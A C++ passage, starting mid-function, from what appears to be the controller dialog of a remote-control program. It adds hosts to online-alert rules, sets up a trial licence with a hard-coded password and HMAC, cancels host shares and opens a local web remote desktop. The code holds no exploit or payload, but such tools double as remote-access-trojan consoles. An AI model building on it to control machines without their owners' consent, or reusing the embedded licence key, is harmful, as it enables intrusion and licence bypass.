std::string trimmed = pattern.substr(start, end - start + 1);
|
||
existingKeywordsLower.insert(ToLowerCase(trimmed));
|
||
existingKeywords.push_back(trimmed);
|
||
}
|
||
}
|
||
|
||
// Add new hosts if not already present (case-insensitive check)
|
||
int addedCount = 0;
|
||
for (const auto& host : hostsToAdd) {
|
||
if (existingKeywordsLower.find(ToLowerCase(host)) == existingKeywordsLower.end()) {
|
||
existingKeywordsLower.insert(ToLowerCase(host));
|
||
existingKeywords.push_back(host);
|
||
addedCount++;
|
||
}
|
||
}
|
||
|
||
if (addedCount == 0) {
|
||
MessageBoxL("所有选中的主机已在上线提醒列表中", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
|
||
// Rebuild match pattern
|
||
std::string newPattern;
|
||
for (const auto& kw : existingKeywords) {
|
||
if (!newPattern.empty()) {
|
||
newPattern += ";";
|
||
}
|
||
newPattern += kw;
|
||
}
|
||
|
||
// Update config
|
||
rule.matchPattern = newPattern;
|
||
rule.enabled = true;
|
||
rule.triggerType = NOTIFY_TRIGGER_HOST_ONLINE;
|
||
rule.columnIndex = ONLINELIST_COMPUTER_NAME;
|
||
|
||
GetNotifyManager().SetConfig(config);
|
||
GetNotifyManager().SaveConfig();
|
||
|
||
// Build message with SMTP warning if not configured
|
||
CString msg;
|
||
msg.Format(_TR("已添加 %d 个主机到上线提醒列表"), addedCount);
|
||
if (!config.smtp.IsValid()) {
|
||
msg += _T("\n\n");
|
||
msg += _TR("注意: SMTP 未配置,请先在通知设置中配置邮箱");
|
||
}
|
||
MessageBoxL(msg, _TR("上线提醒"), MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMasterTrail()
|
||
{
|
||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||
BOOL noPwd = pwd.empty();
|
||
if (!noPwd) {
|
||
MessageBoxL("已有授权密码。请勿将本程序用于任何非法、违规的用途,否则后果自负!",
|
||
"声明", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
if (IDYES != MessageBoxL("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
|
||
"声明", MB_ICONQUESTION | MB_YESNO))
|
||
return;
|
||
std::string master = THIS_CFG.GetStr("settings", "master");
|
||
int bindType = THIS_CFG.GetInt("settings", "BindType");
|
||
if (master != "127.0.0.1" || bindType != 1) {
|
||
THIS_CFG.SetStr("settings", "master", "127.0.0.1");
|
||
THIS_CFG.SetStr("settings", "BindType", "1");
|
||
}
|
||
|
||
THIS_CFG.SetStr("settings", "Password", "20260201-20280201-0020-be94-120d-20f9-919a");
|
||
THIS_CFG.SetStr("settings", "PwdHmac", "6015188620429852704");
|
||
THIS_CFG.SetStr("settings", "SN", getDeviceID("127.0.0.1"));
|
||
MessageBoxL("设置成功,仅限本地使用!试用版本会与授权服务联网验证!\n如需离线使用,需要正式授权。",
|
||
"警告", MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnCancelShare()
|
||
{
|
||
if(IDYES != MessageBoxL("确定取消分享主机? 将撤销全部的分享链接。", "提示", MB_YESNO | MB_ICONQUESTION))
|
||
return;
|
||
|
||
BYTE bToken[100] = { COMMAND_SHARE_CANCEL };
|
||
SendSelectedCommand(bToken, sizeof(bToken));
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnWebRemoteControl()
|
||
{
|
||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||
if (port <= 0) {
|
||
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
||
}
|
||
else if (m_superPass.empty()) {
|
||
MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
|
||
}else {
|
||
CString content;
|
||
content.Format("http://127.0.0.1:%d", port);
|
||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
||
}
|
||
}
|